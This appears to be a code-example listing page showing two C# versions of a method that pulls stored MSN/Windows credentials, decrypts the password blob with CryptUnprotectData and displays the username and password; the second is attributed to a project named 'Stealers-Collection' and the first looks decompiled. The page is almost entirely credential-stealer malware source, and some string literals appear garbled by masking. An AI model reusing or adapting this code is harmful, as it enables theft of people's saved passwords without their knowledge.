コード例 #1
0
 // Token: 0x06000161 RID: 353 RVA: 0x000061E0 File Offset: 0x000045E0
 public static void Password()
 {
     try
     {
         IntPtr         ptr = Marshal.ReadIntPtr(MSN.pCredentials, 0);
         object         obj = Marshal.PtrToStructure(ptr, MSN.Cred.GetType());
         MSN.CREDENTIAL credential;
         MSN.Cred          = ((obj != null) ? ((MSN.CREDENTIAL)obj) : credential);
         MSN.dataIn.pbData = MSN.Cred.CredentialBlob;
         MSN.dataIn.cbData = MSN.Cred.CredentialBlobSize;
         MSN.CryptUnprotectData(ref MSN.dataIn, 0, 0, 0, 0, 1, MSN.dataOut);
         MSN.dataOut.pbData = MSN.dataIn.pbData;
         MSN.uDetail.uName  = MSN.Cred.UserName;
         IntPtr ptr2 = new IntPtr(MSN.dataOut.pbData);
         MSN.uDetail.uPass = Marshal.PtrToStringUni(ptr2);
         MyProject.Forms.Form1.msnt.Text = "Username: "******"\r\nPassword: " + MSN.uDetail.uPass;
     }
     catch (Exception ex)
     {
     }
 }
コード例 #2
0
ファイル: MSN.cs プロジェクト: yaskin/Stealers-Collection
 public static void Password()
 {
     try
     {
         object         obj = Marshal.PtrToStructure(Marshal.ReadIntPtr(MSN.pCredentials, 0), MSN.Cred.GetType());
         MSN.CREDENTIAL credential;
         MSN.Cred          = obj != null ? (MSN.CREDENTIAL)obj : credential;
         MSN.dataIn.pbData = MSN.Cred.CredentialBlob;
         MSN.dataIn.cbData = MSN.Cred.CredentialBlobSize;
         MSN.CryptUnprotectData(ref MSN.dataIn, 0, 0, 0, 0, 1, MSN.dataOut);
         MSN.dataOut.pbData = MSN.dataIn.pbData;
         MSN.uDetail.uName  = MSN.Cred.UserName;
         MSN.uDetail.uPass  = Marshal.PtrToStringUni(new IntPtr(MSN.dataOut.pbData));
         MyProject.Forms.Form1.msnt.Text = "Username: "******"\r\nPassword: " + MSN.uDetail.uPass;
     }
     catch (Exception ex)
     {
         ProjectData.SetProjectError(ex);
         ProjectData.ClearProjectError();
     }
 }